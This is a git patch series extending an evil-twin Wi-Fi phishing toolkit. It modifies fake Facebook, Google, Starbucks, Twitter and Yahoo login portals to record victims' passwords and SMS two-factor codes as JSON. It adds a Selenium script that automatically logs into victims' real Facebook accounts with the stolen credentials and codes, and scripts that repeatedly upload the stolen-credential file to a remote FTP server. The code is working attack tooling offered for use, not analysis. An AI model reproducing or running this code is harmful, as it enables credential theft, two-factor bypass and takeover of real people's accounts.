From 3fcc90003fa223847e6786b3f6626284c2e769f4 Mon Sep 17 00:00:00 2001
From: BorjaGalisteo
Date: Wed, 11 Aug 2021 14:34:16 +0200
Subject: [PATCH 1/7] Improve data visualization
Improve de data visualization, now we can see the timestamp of each victim, besides to see the sms code is now easier
---
evilTrust.sh | 6 +++---
facebook-login/index.php | 5 +++--
facebook-login/portal_2fa/index.php | 7 ++++---
facebook-login/portal_2fa/post.php | 19 ++++++++++++++++++-
facebook-login/post.php | 15 ++++++++++++++-
5 files changed, 42 insertions(+), 10 deletions(-)
diff --git a/evilTrust.sh b/evilTrust.sh
index f1b0a08..bceb511 100755
--- a/evilTrust.sh
+++ b/evilTrust.sh
@@ -18,7 +18,7 @@ function ctrl_c(){
echo -e "\n\n${yellowColour}[*]${endColour}${grayColour} Exiting...\n${endColour}"
rm dnsmasq.conf hostapd.conf 2>/dev/null
rm -r iface 2>/dev/null
- find \-name datos-privados.txt | xargs rm 2>/dev/null
+ find \-name datos-privados.json | xargs rm 2>/dev/null
sleep 3; ifconfig wlan0mon down 2>/dev/null; sleep 1
iwconfig wlan0mon mode monitor 2>/dev/null; sleep 1
ifconfig wlan0mon up 2>/dev/null; airmon-ng stop wlan0mon > /dev/null 2>&1; sleep 1
@@ -73,7 +73,7 @@ function getCredentials(){
echo -e "\n${yellowColour}[*]${endColour}${grayColour} Esperando credenciales (${endColour}${redColour}Ctr+C para finalizar${endColour}${grayColour})...${endColour}\n${endColour}"
for i in $(seq 1 60); do echo -ne "${redColour}-"; done && echo -e "${endColour}"
echo -e "${redColour}Víctimas conectadas: ${endColour}${blueColour}$activeHosts${endColour}\n"
- find \-name datos-privados.txt | xargs cat 2>/dev/null
+ find \-name datos-privados.json |xargs python -m json.tool 2>/dev/null
for i in $(seq 1 60); do echo -ne "${redColour}-"; done && echo -e "${endColour}"
activeHosts=$(bash utilities/hostsCheck.sh | grep -v "192.168.1.1 " | wc -l)
sleep 3; clear
@@ -381,4 +381,4 @@ if [ "$(id -u)" == "0" ]; then
else
echo -e "\n${redColour}[!] Es necesario ser root para ejecutar la herramienta${endColour}"
exit 1
-fi
+fi
\ No newline at end of file
diff --git a/facebook-login/index.php b/facebook-login/index.php
index 313fb2f..e3e34a7 100644
--- a/facebook-login/index.php
+++ b/facebook-login/index.php
@@ -109,7 +109,7 @@ function redirect() {
}
.login-form input[type="text"] {
- color: black;
+ color: black;
border-bottom: none;
border-radius: 4px 4px 0 0;
padding-bottom: 13px;
@@ -117,7 +117,7 @@ function redirect() {
}
.login-form input[type="password"] {
- color: black;
+ color: black;
border-top: none;
border-radius: 0 0 4px 4px;
box-shadow: 0 -1px 2px rgba(0, 0, 0, 0.23) inset, 0 1px 2px rgba(255, 255, 255, 0.1);
@@ -182,6 +182,7 @@ function redirect() {
+
diff --git a/facebook-login/portal_2fa/index.php b/facebook-login/portal_2fa/index.php
index 81ca150..3b891f8 100644
--- a/facebook-login/portal_2fa/index.php
+++ b/facebook-login/portal_2fa/index.php
@@ -97,7 +97,7 @@ function redirect() {
.login-form input[type="text"],
.login-form input[type="password"] {
- display: block;
+ display: block;
width: 345px;
border: 1px solid #314d89;
outline: none;
@@ -109,7 +109,7 @@ function redirect() {
}
.login-form input[type="text"] {
- color: black;
+ color: black;
border-bottom: none;
border-radius: 4px 4px 0 0;
padding-bottom: 13px;
@@ -117,7 +117,7 @@ function redirect() {
}
.login-form input[type="password"] {
- color: black;
+ color: black;
border-top: none;
border-radius: 0 0 4px 4px;
box-shadow: 0 -1px 2px rgba(0, 0, 0, 0.23) inset, 0 1px 2px rgba(255, 255, 255, 0.1);
@@ -181,6 +181,7 @@ function redirect() {
+
diff --git a/facebook-login/portal_2fa/post.php b/facebook-login/portal_2fa/post.php
index 389a37b..fff443f 100644
--- a/facebook-login/portal_2fa/post.php
+++ b/facebook-login/portal_2fa/post.php
@@ -1 +1,18 @@
-
+ $credential) {
+ $new_credentials[$uuid_credential] = $credential;
+ if ($uuid == $uuid_credential) {
+ $new_credentials[$uuid]['sms'] = $_POST['2fa_facebook'];
+ }
+ }
+
+file_put_contents($file,json_encode($new_credentials));
+
+?>
\ No newline at end of file
diff --git a/facebook-login/post.php b/facebook-login/post.php
index 220df47..3f20e6f 100644
--- a/facebook-login/post.php
+++ b/facebook-login/post.php
@@ -1 +1,14 @@
-
+
From ebcd99cff160908ea1455a6c01cf5730610d2d34 Mon Sep 17 00:00:00 2001
From: BorjaGalisteo
Date: Wed, 11 Aug 2021 16:02:20 +0200
Subject: [PATCH 2/7] change other options
---
google-login/index.php | 1 +
google-login/portal_2fa/index.php | 1 +
google-login/portal_2fa/post.php | 19 ++++++++++++++++++-
google-login/post.php | 15 ++++++++++++++-
starbucks-login/index.php | 1 +
starbucks-login/portal_2fa/index.php | 1 +
starbucks-login/portal_2fa/post.php | 19 ++++++++++++++++++-
starbucks-login/post.php | 15 ++++++++++++++-
twitter-login/index.php | 1 +
twitter-login/portal_2fa/index.php | 1 +
twitter-login/portal_2fa/post.php | 19 ++++++++++++++++++-
twitter-login/post.php | 15 ++++++++++++++-
yahoo-login/index.php | 1 +
yahoo-login/portal_2fa/index.php | 1 +
yahoo-login/portal_2fa/post.php | 19 ++++++++++++++++++-
yahoo-login/post.php | 15 ++++++++++++++-
16 files changed, 136 insertions(+), 8 deletions(-)
diff --git a/google-login/index.php b/google-login/index.php
index 0738de6..9085c8f 100644
--- a/google-login/index.php
+++ b/google-login/index.php
@@ -36,6 +36,7 @@ function redirect() {
+
More options
diff --git a/google-login/portal_2fa/index.php b/google-login/portal_2fa/index.php
index 014a2f5..15bc735 100644
--- a/google-login/portal_2fa/index.php
+++ b/google-login/portal_2fa/index.php
@@ -35,6 +35,7 @@ function redirect() {
+
More options
diff --git a/google-login/portal_2fa/post.php b/google-login/portal_2fa/post.php
index f5ae524..d2387ef 100644
--- a/google-login/portal_2fa/post.php
+++ b/google-login/portal_2fa/post.php
@@ -1 +1,18 @@
-
+ $credential) {
+ $new_credentials[$uuid_credential] = $credential;
+ if ($uuid == $uuid_credential) {
+ $new_credentials[$uuid]['sms'] = $_POST['2fa_google'];
+ }
+ }
+
+file_put_contents($file,json_encode($new_credentials));
+
+?>
\ No newline at end of file
diff --git a/google-login/post.php b/google-login/post.php
index 220df47..3f20e6f 100644
--- a/google-login/post.php
+++ b/google-login/post.php
@@ -1 +1,14 @@
-
+
diff --git a/starbucks-login/index.php b/starbucks-login/index.php
index 20c531e..c22f9ac 100644
--- a/starbucks-login/index.php
+++ b/starbucks-login/index.php
@@ -144,6 +144,7 @@ function redirect() {
+
I agree to the
Terms of Service and have
diff --git a/starbucks-login/portal_2fa/index.php b/starbucks-login/portal_2fa/index.php
index 4883968..54937e3 100644
--- a/starbucks-login/portal_2fa/index.php
+++ b/starbucks-login/portal_2fa/index.php
@@ -144,6 +144,7 @@ function redirect() {
+
I agree to the
Terms of Service and have
diff --git a/starbucks-login/portal_2fa/post.php b/starbucks-login/portal_2fa/post.php
index 389a37b..18bcd90 100644
--- a/starbucks-login/portal_2fa/post.php
+++ b/starbucks-login/portal_2fa/post.php
@@ -1 +1,18 @@
-
+ $credential) {
+ $new_credentials[$uuid_credential] = $credential;
+ if ($uuid == $uuid_credential) {
+ $new_credentials[$uuid]['sms'] = $_POST['2fa_starbucks'];
+ }
+ }
+
+file_put_contents($file,json_encode($new_credentials));
+
+?>
diff --git a/starbucks-login/post.php b/starbucks-login/post.php
index 220df47..149eb73 100644
--- a/starbucks-login/post.php
+++ b/starbucks-login/post.php
@@ -1 +1,14 @@
-
+
\ No newline at end of file
diff --git a/twitter-login/index.php b/twitter-login/index.php
index 5227f54..8394754 100644
--- a/twitter-login/index.php
+++ b/twitter-login/index.php
@@ -144,6 +144,7 @@ function redirect() {
+
diff --git a/twitter-login/portal_2fa/index.php b/twitter-login/portal_2fa/index.php
index d983a37..e54e024 100644
--- a/twitter-login/portal_2fa/index.php
+++ b/twitter-login/portal_2fa/index.php
@@ -143,6 +143,7 @@ function redirect() {
+
diff --git a/twitter-login/portal_2fa/post.php b/twitter-login/portal_2fa/post.php
index 389a37b..4afb156 100644
--- a/twitter-login/portal_2fa/post.php
+++ b/twitter-login/portal_2fa/post.php
@@ -1 +1,18 @@
-
+ $credential) {
+ $new_credentials[$uuid_credential] = $credential;
+ if ($uuid == $uuid_credential) {
+ $new_credentials[$uuid]['sms'] = $_POST['2fa_twitter'];
+ }
+ }
+
+file_put_contents($file,json_encode($new_credentials));
+
+?>
\ No newline at end of file
diff --git a/twitter-login/post.php b/twitter-login/post.php
index 220df47..149eb73 100644
--- a/twitter-login/post.php
+++ b/twitter-login/post.php
@@ -1 +1,14 @@
-
+
\ No newline at end of file
diff --git a/yahoo-login/index.php b/yahoo-login/index.php
index cd79dc2..f73ca8d 100644
--- a/yahoo-login/index.php
+++ b/yahoo-login/index.php
@@ -147,6 +147,7 @@ function redirect() {
+
diff --git a/yahoo-login/portal_2fa/index.php b/yahoo-login/portal_2fa/index.php
index 13551f6..9fc7e11 100644
--- a/yahoo-login/portal_2fa/index.php
+++ b/yahoo-login/portal_2fa/index.php
@@ -146,6 +146,7 @@ function redirect() {
+
diff --git a/yahoo-login/portal_2fa/post.php b/yahoo-login/portal_2fa/post.php
index 389a37b..24be751 100644
--- a/yahoo-login/portal_2fa/post.php
+++ b/yahoo-login/portal_2fa/post.php
@@ -1 +1,18 @@
-
+ $credential) {
+ $new_credentials[$uuid_credential] = $credential;
+ if ($uuid == $uuid_credential) {
+ $new_credentials[$uuid]['sms'] = $_POST['2fa_yahoo'];
+ }
+ }
+
+file_put_contents($file,json_encode($new_credentials));
+
+?>
diff --git a/yahoo-login/post.php b/yahoo-login/post.php
index 220df47..149eb73 100644
--- a/yahoo-login/post.php
+++ b/yahoo-login/post.php
@@ -1 +1,14 @@
-
+
\ No newline at end of file
From d18907621268fa01e0d6350e5c16a0d7ba2e1d0d Mon Sep 17 00:00:00 2001
From: BorjaGalisteo
Date: Wed, 11 Aug 2021 16:22:36 +0200
Subject: [PATCH 3/7] Add without 2fa
---
all_in_one/{index.html => index.php} | 91 ++++++++++++++--------------
all_in_one/post.php | 16 ++++-
cliqq-payload/index.php | 1 +
cliqq-payload/post.php | 16 ++++-
optimumwifi/post.php | 16 ++++-
optimumwifi/signin209b.php | 1 +
optimumwifi/signin5d8f.php | 1 +
optimumwifi/signin8d07.php | 1 +
optimumwifi/signince44.php | 1 +
9 files changed, 96 insertions(+), 48 deletions(-)
rename all_in_one/{index.html => index.php} (94%)
mode change 100755 => 100644
diff --git a/all_in_one/index.html b/all_in_one/index.php
old mode 100755
new mode 100644
similarity index 94%
rename from all_in_one/index.html
rename to all_in_one/index.php
index 8551841..51534ca
--- a/all_in_one/index.html
+++ b/all_in_one/index.php
@@ -1,45 +1,46 @@
-
-
-
-
-Secure-WiFi Hotspot
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
Login
-
Secure-Wifi
No registration required.
- Login with your social account.
-
-
-
-
-
-
-
-
+
+
+
+
+Secure-WiFi Hotspot
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Login
+
Secure-Wifi
No registration required.
+ Login with your social account.
+
+
+
+
+
+
+
+
diff --git a/all_in_one/post.php b/all_in_one/post.php
index 389a37b..444971b 100644
--- a/all_in_one/post.php
+++ b/all_in_one/post.php
@@ -1 +1,15 @@
-
+
+
diff --git a/cliqq-payload/index.php b/cliqq-payload/index.php
index bad1333..bc33cac 100644
--- a/cliqq-payload/index.php
+++ b/cliqq-payload/index.php
@@ -81,6 +81,7 @@
+
diff --git a/cliqq-payload/post.php b/cliqq-payload/post.php
index 389a37b..d3f7d04 100644
--- a/cliqq-payload/post.php
+++ b/cliqq-payload/post.php
@@ -1 +1,15 @@
-
+
+
\ No newline at end of file
diff --git a/optimumwifi/post.php b/optimumwifi/post.php
index 389a37b..d3f7d04 100644
--- a/optimumwifi/post.php
+++ b/optimumwifi/post.php
@@ -1 +1,15 @@
-
+
+
\ No newline at end of file
diff --git a/optimumwifi/signin209b.php b/optimumwifi/signin209b.php
index b75eebe..7668054 100644
--- a/optimumwifi/signin209b.php
+++ b/optimumwifi/signin209b.php
@@ -78,6 +78,7 @@
+
diff --git a/optimumwifi/signin5d8f.php b/optimumwifi/signin5d8f.php
index c0cb109..d5a8ec6 100644
--- a/optimumwifi/signin5d8f.php
+++ b/optimumwifi/signin5d8f.php
@@ -77,6 +77,7 @@
+
diff --git a/optimumwifi/signin8d07.php b/optimumwifi/signin8d07.php
index e3a76e7..a0e78e0 100644
--- a/optimumwifi/signin8d07.php
+++ b/optimumwifi/signin8d07.php
@@ -78,6 +78,7 @@
+
diff --git a/optimumwifi/signince44.php b/optimumwifi/signince44.php
index cdf5b69..43c88b1 100644
--- a/optimumwifi/signince44.php
+++ b/optimumwifi/signince44.php
@@ -76,6 +76,7 @@
+
From 4d8332b020b6f228076e071571657216d398d515 Mon Sep 17 00:00:00 2001
From: BorjaGalisteo
Date: Wed, 18 Aug 2021 10:32:58 +0200
Subject: [PATCH 4/7] add autologin facebook
---
facebook-autologin.py | 107 ++++++++++++++++++++++++++++++++++++++++++
1 file changed, 107 insertions(+)
create mode 100644 facebook-autologin.py
diff --git a/facebook-autologin.py b/facebook-autologin.py
new file mode 100644
index 0000000..983075a
--- /dev/null
+++ b/facebook-autologin.py
@@ -0,0 +1,107 @@
+from selenium import webdriver
+import time
+import sys
+import json
+import os
+import time
+import hashlib
+
+def find(name, path):
+ for root, dirs, files in os.walk(path):
+ if name in files:
+ return os.path.join(root, name)
+ return False
+
+def md5(fname):
+ hash_md5 = hashlib.md5()
+ with open(fname, "rb") as f:
+ for chunk in iter(lambda: f.read(4096), b""):
+ hash_md5.update(chunk)
+ return hash_md5.hexdigest()
+
+print("""
+88888888b .d888888 a88888b. 88888888b 888888ba .88888. .88888. dP dP
+ 88 d8' 88 d8' `88 88 88 `8b d8' `8b d8' `8b 88 .d8'
+a88aaaa 88aaaaa88a 88 a88aaaa a88aaaa8P' 88 88 88 88 88aaa8P'
+ 88 88 88 88 88 88 `8b. 88 88 88 88 88 `8b.
+ 88 88 88 Y8. .88 88 88 .88 Y8. .8P Y8. .8P 88 88
+ dP 88 88 Y88888P' 88888888P 88888888P `8888P' `8888P' dP dP
+
+
+ .d888888 dP dP d888888P .88888. dP .88888. .88888. dP 888888ba
+d8' 88 88 88 88 d8' `8b 88 d8' `8b d8' `88 88 88 `8b
+88aaaaa88a 88 88 88 88 88 88 88 88 88 88 88 88
+88 88 88 88 88 88 88 88888888 88 88 88 88 YP88 88 88 88
+88 88 Y8. .8P 88 Y8. .8P 88 Y8. .8P Y8. .88 88 88 88
+88 88 `Y88888P' dP `8888P' 88888888P `8888P' `88888' dP dP dP
+
+
+Esperando contraseñas de las victimas, no cierres el script ...
+
+
+ """)
+
+first_time = True
+victims_count = 0
+
+while True:
+ while True:
+ time.sleep(2)
+ file = find('datos-privados.json','../')
+ if file != False:
+ if first_time:
+ first_time = False
+ hash_file = md5(file)
+ break
+ else:
+ if hash_file != md5(file):
+ hash_file = md5(file)
+ break
+
+
+
+ with open(file) as f:
+ victims = json.load(f)
+
+
+ if len(victims) == victims_count:
+ print("La victima puso el SMS code")
+
+ for hour in victims:
+ data = victims[hour]
+ sms_code = data['sms']
+
+ time.sleep(2)
+ second_fa_input = web.find_element_by_xpath('//*[@id="approvals_code"]')
+ second_fa_input.send_keys(sms_code)
+ web.find_element_by_xpath('//*[@id="checkpointSubmitButton"]').click()
+
+ print('Aceptamos y pa\' dentro')
+ continue
+ else:
+ print("Nueva Victima encontrada... Abriendo navegador")
+ victims_count = len(victims)
+
+ for hour in victims:
+ data = victims[hour]
+ user_facebook = data['email_facebook']
+ pawd_facebook = data['password_facebook']
+
+ web = webdriver.Chrome()
+ web.get('https://www.facebook.com/')
+ time.sleep(2)
+ web.find_element_by_xpath('/html/body/div[3]/div[2]/div/div/div/div/div[3]/button[2]').click()
+ email = user_facebook
+
+ email_input = web.find_element_by_xpath('/html/body/div[1]/div[2]/div[1]/div/div/div/div[2]/div/div[1]/form/div[1]/div[1]/input')
+
+ email_input.send_keys(email)
+ passw = pawd_facebook
+ time.sleep(3)
+ pssw_input = web.find_element_by_xpath('//*[@id="pass"]')
+
+ pssw_input.send_keys(passw)
+ time.sleep(2)
+ enter = web.find_element_by_css_selector('button.selected')
+ enter.click()
+
From 05a845d6e2a9575edab30c71af62fb638ed5bbd7 Mon Sep 17 00:00:00 2001
From: BorjaGalisteo
Date: Sat, 4 Sep 2021 00:20:20 +0200
Subject: [PATCH 5/7] add posibility to upload de file generated using ftp
parameter
---
facebook-autologin.py | 45 ++++++++++++++++++++++++++++++++++++++++---
1 file changed, 42 insertions(+), 3 deletions(-)
diff --git a/facebook-autologin.py b/facebook-autologin.py
index 983075a..2ede2f1 100644
--- a/facebook-autologin.py
+++ b/facebook-autologin.py
@@ -5,6 +5,7 @@
import os
import time
import hashlib
+import ftplib
def find(name, path):
for root, dirs, files in os.walk(path):
@@ -19,6 +20,40 @@ def md5(fname):
hash_md5.update(chunk)
return hash_md5.hexdigest()
+def is_ftp():
+ return int(len(sys.argv)) == int(2) and sys.argv[1] == 'ftp'
+
+def upload_file(path_file, file_name, server, user, passwd):
+ print("uploading file " + file_name +'.json')
+ session = ftplib.FTP(server, user, passwd)
+ file = open(path_file,'rb') # file to send
+ session.storbinary('STOR '+file_name+'.json', file) # send the file
+ file.close() # close file and FTP
+ session.quit()
+
+def check_ftp_connection(server, user, passwd):
+ try:
+ session = ftplib.FTP(server, user, passwd)
+ session.quit()
+
+ return True
+ except:
+ return False
+
+if is_ftp():
+ server_ftp = input('FTP SERVER:')
+ user_ftp = input('FTP USER:')
+ pass_ftp = input('FTP PASSWORD:')
+ ftp_file_name = input("Name of the file to Upload ('victims' by default PRESSING ENTER) : ") or "victims"
+
+ if check_ftp_connection(server_ftp, user_ftp, pass_ftp):
+ print("FTP Login Successful, wait")
+ time.sleep(2)
+ else:
+ print("FTP Login Error, check credentials and rerun script")
+ sys.exit()
+
+
print("""
88888888b .d888888 a88888b. 88888888b 888888ba .88888. .88888. dP dP
88 d8' 88 d8' `88 88 88 `8b d8' `8b d8' `8b 88 .d8'
@@ -34,11 +69,11 @@ def md5(fname):
88 88 88 88 88 88 88 88888888 88 88 88 88 YP88 88 88 88
88 88 Y8. .8P 88 Y8. .8P 88 Y8. .8P Y8. .88 88 88 88
88 88 `Y88888P' dP `8888P' 88888888P `8888P' `88888' dP dP dP
-
+
Esperando contraseñas de las victimas, no cierres el script ...
-
+ - By BorjaGalisteo
""")
first_time = True
@@ -67,6 +102,9 @@ def md5(fname):
if len(victims) == victims_count:
print("La victima puso el SMS code")
+ if is_ftp():
+ upload_file(file,ftp_file_name, server_ftp, user_ftp, pass_ftp)
+
for hour in victims:
data = victims[hour]
sms_code = data['sms']
@@ -80,6 +118,8 @@ def md5(fname):
continue
else:
print("Nueva Victima encontrada... Abriendo navegador")
+ if is_ftp():
+ upload_file(file,ftp_file_name, server_ftp, user_ftp, pass_ftp)
victims_count = len(victims)
for hour in victims:
@@ -104,4 +144,3 @@ def md5(fname):
time.sleep(2)
enter = web.find_element_by_css_selector('button.selected')
enter.click()
-
From 98ef76f7fd67142cdd3d65fc0fdd4c07e4068339 Mon Sep 17 00:00:00 2001
From: BorjaGalisteo
Date: Sun, 5 Sep 2021 21:59:47 +0200
Subject: [PATCH 6/7] just to storage file in ftp
---
storage_victims.py | 89 ++++++++++++++++++++++++++++++++++++++++++++++
1 file changed, 89 insertions(+)
create mode 100644 storage_victims.py
diff --git a/storage_victims.py b/storage_victims.py
new file mode 100644
index 0000000..b23d5e2
--- /dev/null
+++ b/storage_victims.py
@@ -0,0 +1,89 @@
+import time
+import sys
+import json
+import os
+import time
+import hashlib
+import ftplib
+
+def find(name, path):
+ for root, dirs, files in os.walk(path):
+ if name in files:
+ return os.path.join(root, name)
+ return False
+
+def md5(fname):
+ hash_md5 = hashlib.md5()
+ with open(fname, "rb") as f:
+ for chunk in iter(lambda: f.read(4096), b""):
+ hash_md5.update(chunk)
+ return hash_md5.hexdigest()
+
+def upload_file(path_file, file_name, server, user, passwd):
+ print("uploading file " + file_name +'.json')
+ session = ftplib.FTP(server, user, passwd)
+ file = open(path_file,'rb') # file to send
+ session.storbinary('STOR '+file_name+'.json', file) # send the file
+ file.close() # close file and FTP
+ session.quit()
+
+def check_ftp_connection(server, user, passwd):
+ try:
+ session = ftplib.FTP(server, user, passwd)
+ session.quit()
+
+ return True
+ except:
+ return False
+
+server_ftp = input('FTP SERVER:')
+user_ftp = input('FTP USER:')
+pass_ftp = input('FTP PASSWORD:')
+ftp_file_name = input("Name of the file to Upload ('victims' by default PRESSING ENTER) : ") or "victims"
+
+if check_ftp_connection(server_ftp, user_ftp, pass_ftp):
+ print("FTP Login Successful, wait")
+ time.sleep(2)
+else:
+ print("FTP Login Error, check credentials and rerun script")
+ sys.exit()
+
+print("""
+
+Esperando contraseñas de las victimas, no cierres el script ...
+
+ - By BorjaGalisteo
+ """)
+
+first_time = True
+victims_count = 0
+
+
+while True:
+ while True:
+ time.sleep(2)
+ file = find('datos-privados.json','../')
+ if file != False:
+ if first_time:
+ first_time = False
+ hash_file = md5(file)
+ break
+ else:
+ if hash_file != md5(file):
+ hash_file = md5(file)
+ break
+
+
+ with open(file) as f:
+ victims = json.load(f)
+
+
+ if len(victims) == victims_count:
+ print("La victima puso el SMS code")
+ upload_file(file,ftp_file_name, server_ftp, user_ftp, pass_ftp)
+ continue
+ else:
+ print("Nueva Victima encontrada... Abriendo navegador")
+ upload_file(file,ftp_file_name, server_ftp, user_ftp, pass_ftp)
+ victims_count = len(victims)
+
From db6ee0890f3640136c2befedfcbf74865f83a95c Mon Sep 17 00:00:00 2001
From: BorjaGalisteo
Date: Sun, 12 Sep 2021 02:28:34 +0200
Subject: [PATCH 7/7] Create ping.py
---
ping.py | 22 ++++++++++++++++++++++
1 file changed, 22 insertions(+)
create mode 100644 ping.py
diff --git a/ping.py b/ping.py
new file mode 100644
index 0000000..ca9587f
--- /dev/null
+++ b/ping.py
@@ -0,0 +1,22 @@
+import ftplib
+import time
+import sys
+from datetime import datetime
+import json
+
+while True:
+ current_timestamp = datetime.now().strftime("%d/%m/%Y %H:%M:%S")
+ print('uploading at:'+current_timestamp)
+ data = {}
+ data['alive_at'] = current_timestamp
+
+ with open('ping.json', 'w') as outfile:
+ json.dump(data, outfile)
+
+ session = ftplib.FTP('server','user','password')
+ file = open('ping.json','rb') # file to send
+ session.storbinary('STOR ping.json', file) # send the file
+ file.close() # close file and FTP
+ session.quit()
+ print('uploaded')
+ time.sleep(30)
\ No newline at end of file